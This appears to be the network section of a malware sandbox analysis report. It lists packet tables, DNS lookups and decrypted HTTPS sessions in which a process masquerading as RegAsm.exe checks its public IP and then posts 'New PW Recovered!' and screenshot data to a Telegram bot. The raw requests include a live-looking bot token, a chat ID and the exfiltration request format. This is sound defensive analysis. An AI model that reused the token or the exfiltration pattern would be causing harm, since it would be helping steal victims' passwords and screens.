May 24, 2024 07:44:24.755225897 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:24.755322933 CEST	443	49719	149.154.167.220	192.168.2.7
May 24, 2024 07:44:24.755374908 CEST	49719	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:50.598938942 CEST	49720	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:50.598984003 CEST	443	49720	149.154.167.220	192.168.2.7
May 24, 2024 07:44:50.599055052 CEST	49720	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:50.599455118 CEST	49720	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:50.599473000 CEST	443	49720	149.154.167.220	192.168.2.7
May 24, 2024 07:44:51.224117041 CEST	443	49720	149.154.167.220	192.168.2.7
May 24, 2024 07:44:51.224280119 CEST	49720	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:51.226797104 CEST	49720	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:51.226807117 CEST	443	49720	149.154.167.220	192.168.2.7
May 24, 2024 07:44:51.227207899 CEST	443	49720	149.154.167.220	192.168.2.7
May 24, 2024 07:44:51.230803013 CEST	49720	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:51.274502993 CEST	443	49720	149.154.167.220	192.168.2.7
May 24, 2024 07:44:51.536073923 CEST	443	49720	149.154.167.220	192.168.2.7
May 24, 2024 07:44:51.536441088 CEST	49720	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:51.536478043 CEST	443	49720	149.154.167.220	192.168.2.7
May 24, 2024 07:44:51.537039042 CEST	49720	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:51.537064075 CEST	443	49720	149.154.167.220	192.168.2.7
May 24, 2024 07:44:51.537178993 CEST	49720	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:51.537384033 CEST	443	49720	149.154.167.220	192.168.2.7
May 24, 2024 07:44:51.892796040 CEST	443	49720	149.154.167.220	192.168.2.7
May 24, 2024 07:44:51.893527031 CEST	49720	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:51.893626928 CEST	443	49720	149.154.167.220	192.168.2.7
May 24, 2024 07:44:51.893793106 CEST	49720	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:53.592636108 CEST	49721	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:53.592700005 CEST	443	49721	149.154.167.220	192.168.2.7
May 24, 2024 07:44:53.593113899 CEST	49721	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:53.593113899 CEST	49721	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:53.593153000 CEST	443	49721	149.154.167.220	192.168.2.7
May 24, 2024 07:44:54.213586092 CEST	443	49721	149.154.167.220	192.168.2.7
May 24, 2024 07:44:54.213649035 CEST	49721	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:54.215715885 CEST	49721	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:54.215723991 CEST	443	49721	149.154.167.220	192.168.2.7
May 24, 2024 07:44:54.215981960 CEST	443	49721	149.154.167.220	192.168.2.7
May 24, 2024 07:44:54.217485905 CEST	49721	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:54.258511066 CEST	443	49721	149.154.167.220	192.168.2.7
May 24, 2024 07:44:54.531167030 CEST	443	49721	149.154.167.220	192.168.2.7
May 24, 2024 07:44:54.531474113 CEST	49721	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:54.531502008 CEST	443	49721	149.154.167.220	192.168.2.7
May 24, 2024 07:44:54.531598091 CEST	49721	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:54.531646967 CEST	443	49721	149.154.167.220	192.168.2.7
May 24, 2024 07:44:54.531697989 CEST	49721	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:54.531759977 CEST	49721	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:54.531805992 CEST	443	49721	149.154.167.220	192.168.2.7
May 24, 2024 07:44:54.874990940 CEST	443	49721	149.154.167.220	192.168.2.7
May 24, 2024 07:44:54.875539064 CEST	49721	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:54.875597954 CEST	443	49721	149.154.167.220	192.168.2.7
May 24, 2024 07:44:54.875653028 CEST	49721	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:59.874799967 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:59.874838114 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:44:59.878998041 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:59.882798910 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:44:59.882812023 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:00.564249992 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:00.564331055 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:00.566147089 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:00.566159010 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:00.566418886 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:00.567888975 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:00.610534906 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:00.902276993 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:00.902671099 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:00.902705908 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:00.902731895 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:00.902746916 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:00.902762890 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:00.902770042 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:00.902817965 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:00.902829885 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:00.902882099 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:00.902894020 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:00.902932882 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:00.902940989 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:01.258392096 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:01.258512020 CEST	443	49722	149.154.167.220	192.168.2.7
May 24, 2024 07:45:01.258941889 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:01.258941889 CEST	49722	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:03.082118988 CEST	49723	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:03.082159042 CEST	443	49723	149.154.167.220	192.168.2.7
May 24, 2024 07:45:03.082222939 CEST	49723	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:03.082585096 CEST	49723	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:03.082601070 CEST	443	49723	149.154.167.220	192.168.2.7
May 24, 2024 07:45:03.755737066 CEST	443	49723	149.154.167.220	192.168.2.7
May 24, 2024 07:45:03.762801886 CEST	49723	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:03.762834072 CEST	443	49723	149.154.167.220	192.168.2.7
May 24, 2024 07:45:04.065454960 CEST	443	49723	149.154.167.220	192.168.2.7
May 24, 2024 07:45:04.066067934 CEST	49723	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:04.066123009 CEST	443	49723	149.154.167.220	192.168.2.7
May 24, 2024 07:45:04.066278934 CEST	49723	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:04.066307068 CEST	443	49723	149.154.167.220	192.168.2.7
May 24, 2024 07:45:04.066420078 CEST	49723	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:04.066451073 CEST	443	49723	149.154.167.220	192.168.2.7
May 24, 2024 07:45:04.412792921 CEST	443	49723	149.154.167.220	192.168.2.7
May 24, 2024 07:45:04.413539886 CEST	49723	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:04.413613081 CEST	443	49723	149.154.167.220	192.168.2.7
May 24, 2024 07:45:04.413676023 CEST	49723	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:05.310378075 CEST	49724	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:05.310424089 CEST	443	49724	149.154.167.220	192.168.2.7
May 24, 2024 07:45:05.315073013 CEST	49724	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:05.315253973 CEST	49724	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:05.315272093 CEST	443	49724	149.154.167.220	192.168.2.7
May 24, 2024 07:45:05.959429979 CEST	443	49724	149.154.167.220	192.168.2.7
May 24, 2024 07:45:05.959616899 CEST	49724	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:05.975219011 CEST	49724	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:05.975264072 CEST	443	49724	149.154.167.220	192.168.2.7
May 24, 2024 07:45:05.975640059 CEST	443	49724	149.154.167.220	192.168.2.7
May 24, 2024 07:45:05.982634068 CEST	49724	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:06.030509949 CEST	443	49724	149.154.167.220	192.168.2.7
May 24, 2024 07:45:06.312956095 CEST	443	49724	149.154.167.220	192.168.2.7
May 24, 2024 07:45:06.313478947 CEST	49724	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:06.313533068 CEST	443	49724	149.154.167.220	192.168.2.7
May 24, 2024 07:45:06.313637972 CEST	49724	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:06.313661098 CEST	443	49724	149.154.167.220	192.168.2.7
May 24, 2024 07:45:06.313803911 CEST	49724	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:06.313819885 CEST	443	49724	149.154.167.220	192.168.2.7
May 24, 2024 07:45:06.675045967 CEST	443	49724	149.154.167.220	192.168.2.7
May 24, 2024 07:45:06.675539017 CEST	49724	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:06.675607920 CEST	443	49724	149.154.167.220	192.168.2.7
May 24, 2024 07:45:06.675661087 CEST	49724	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:16.947494984 CEST	49725	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:16.947526932 CEST	443	49725	149.154.167.220	192.168.2.7
May 24, 2024 07:45:16.947632074 CEST	49725	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:16.947957993 CEST	49725	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:16.947973013 CEST	443	49725	149.154.167.220	192.168.2.7
May 24, 2024 07:45:17.581306934 CEST	443	49725	149.154.167.220	192.168.2.7
May 24, 2024 07:45:17.581403017 CEST	49725	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:17.584059954 CEST	49725	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:17.584069014 CEST	443	49725	149.154.167.220	192.168.2.7
May 24, 2024 07:45:17.584980965 CEST	443	49725	149.154.167.220	192.168.2.7
May 24, 2024 07:45:17.586589098 CEST	49725	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:17.630521059 CEST	443	49725	149.154.167.220	192.168.2.7
May 24, 2024 07:45:17.904057980 CEST	443	49725	149.154.167.220	192.168.2.7
May 24, 2024 07:45:17.904475927 CEST	49725	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:17.904510975 CEST	443	49725	149.154.167.220	192.168.2.7
May 24, 2024 07:45:17.904735088 CEST	49725	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:17.904763937 CEST	443	49725	149.154.167.220	192.168.2.7
May 24, 2024 07:45:17.904877901 CEST	49725	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:17.905107021 CEST	443	49725	149.154.167.220	192.168.2.7
May 24, 2024 07:45:18.268871069 CEST	443	49725	149.154.167.220	192.168.2.7
May 24, 2024 07:45:18.268950939 CEST	443	49725	149.154.167.220	192.168.2.7
May 24, 2024 07:45:18.269128084 CEST	49725	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:18.272533894 CEST	49725	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:22.047265053 CEST	49726	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:22.047302961 CEST	443	49726	149.154.167.220	192.168.2.7
May 24, 2024 07:45:22.047369957 CEST	49726	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:22.048455954 CEST	49726	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:22.048475027 CEST	443	49726	149.154.167.220	192.168.2.7
May 24, 2024 07:45:22.694164991 CEST	443	49726	149.154.167.220	192.168.2.7
May 24, 2024 07:45:22.696106911 CEST	49726	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:22.696124077 CEST	443	49726	149.154.167.220	192.168.2.7
May 24, 2024 07:45:23.014787912 CEST	443	49726	149.154.167.220	192.168.2.7
May 24, 2024 07:45:23.015530109 CEST	49726	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:23.015553951 CEST	443	49726	149.154.167.220	192.168.2.7
May 24, 2024 07:45:23.015711069 CEST	49726	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:23.015726089 CEST	443	49726	149.154.167.220	192.168.2.7
May 24, 2024 07:45:23.015970945 CEST	49726	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:23.016067982 CEST	443	49726	149.154.167.220	192.168.2.7
May 24, 2024 07:45:23.404891968 CEST	443	49726	149.154.167.220	192.168.2.7
May 24, 2024 07:45:23.404973030 CEST	443	49726	149.154.167.220	192.168.2.7
May 24, 2024 07:45:23.405010939 CEST	49726	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:23.405520916 CEST	49726	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:28.794816017 CEST	49727	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:28.794856071 CEST	443	49727	149.154.167.220	192.168.2.7
May 24, 2024 07:45:28.795228958 CEST	49727	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:28.795502901 CEST	49727	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:28.795520067 CEST	443	49727	149.154.167.220	192.168.2.7
May 24, 2024 07:45:29.414968014 CEST	443	49727	149.154.167.220	192.168.2.7
May 24, 2024 07:45:29.469396114 CEST	49727	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:30.140361071 CEST	49727	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:30.140382051 CEST	443	49727	149.154.167.220	192.168.2.7
May 24, 2024 07:45:30.197482109 CEST	49727	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:30.197583914 CEST	443	49727	149.154.167.220	192.168.2.7
May 24, 2024 07:45:30.197643995 CEST	49727	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:30.197850943 CEST	49728	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:30.197890997 CEST	443	49728	149.154.167.220	192.168.2.7
May 24, 2024 07:45:30.198030949 CEST	49728	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:30.198297024 CEST	49728	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:30.198307037 CEST	443	49728	149.154.167.220	192.168.2.7
May 24, 2024 07:45:30.832114935 CEST	443	49728	149.154.167.220	192.168.2.7
May 24, 2024 07:45:30.832329035 CEST	49728	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:30.833636045 CEST	49728	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:30.833657980 CEST	443	49728	149.154.167.220	192.168.2.7
May 24, 2024 07:45:30.833852053 CEST	443	49728	149.154.167.220	192.168.2.7
May 24, 2024 07:45:30.835246086 CEST	49728	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:30.878496885 CEST	443	49728	149.154.167.220	192.168.2.7
May 24, 2024 07:45:31.168849945 CEST	443	49728	149.154.167.220	192.168.2.7
May 24, 2024 07:45:31.169173002 CEST	49728	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:31.169204950 CEST	443	49728	149.154.167.220	192.168.2.7
May 24, 2024 07:45:31.169405937 CEST	49728	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:31.169425011 CEST	443	49728	149.154.167.220	192.168.2.7
May 24, 2024 07:45:31.169564009 CEST	49728	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:31.169580936 CEST	443	49728	149.154.167.220	192.168.2.7
May 24, 2024 07:45:31.531258106 CEST	443	49728	149.154.167.220	192.168.2.7
May 24, 2024 07:45:31.531831980 CEST	49728	443	192.168.2.7	149.154.167.220
May 24, 2024 07:45:31.531876087 CEST	443	49728	149.154.167.220	192.168.2.7
May 24, 2024 07:45:31.532010078 CEST	49728	443	192.168.2.7	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 07:41:23.909960032 CEST	61092	53	192.168.2.7	1.1.1.1
May 24, 2024 07:41:23.918042898 CEST	53	61092	1.1.1.1	192.168.2.7
May 24, 2024 07:41:26.341392994 CEST	51294	53	192.168.2.7	1.1.1.1
May 24, 2024 07:41:26.350857019 CEST	53	51294	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 24, 2024 07:41:23.909960032 CEST	192.168.2.7	1.1.1.1	0xb4d5	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
May 24, 2024 07:41:26.341392994 CEST	192.168.2.7	1.1.1.1	0x8ba5	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 24, 2024 07:41:23.918042898 CEST	1.1.1.1	192.168.2.7	0xb4d5	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
May 24, 2024 07:41:23.918042898 CEST	1.1.1.1	192.168.2.7	0xb4d5	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
May 24, 2024 07:41:23.918042898 CEST	1.1.1.1	192.168.2.7	0xb4d5	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
May 24, 2024 07:41:26.350857019 CEST	1.1.1.1	192.168.2.7	0x8ba5	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	104.26.13.205	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:41:24 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-05-24 05:41:24 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 05:41:24 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888af4dcca3c423b-EWR
2024-05-24 05:41:24 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 37 35 Data Ascii: 8.46.123.175

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:41:27 UTC	260	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc7b929ff59cb4 Host: api.telegram.org Content-Length: 980 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:41:27 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:41:27 UTC	980	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 62 39 32 39 66 66 35 39 63 62 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 62 39 32 39 66 66 35 39 63 62 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 32 34 2f 32 30 32 34 20 30 31 3a 34 31 3a 32 35 0a 55 73 65 72 Data Ascii: -----------------------------8dc7b929ff59cb4Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dc7b929ff59cb4Content-Disposition: form-data; name="caption"New PW Recovered!Time: 05/24/2024 01:41:25User
2024-05-24 05:41:27 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:41:27 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49707	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:43:05 UTC	238	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc88931a5d0108 Host: api.telegram.org Content-Length: 66751 Expect: 100-continue
2024-05-24 05:43:05 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:43:05 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 38 39 33 31 61 35 64 30 31 30 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 38 39 33 31 61 35 64 30 31 30 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 36 2f 30 39 2f 32 30 32 34 20 31 34 3a 33 37 3a 32 38 0a 55 73 65 72 Data Ascii: -----------------------------8dc88931a5d0108Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dc88931a5d0108Content-Disposition: form-data; name="caption"New SC Recovered!Time: 06/09/2024 14:37:28User
2024-05-24 05:43:05 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:43:05 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:43:05 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:43:05 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: 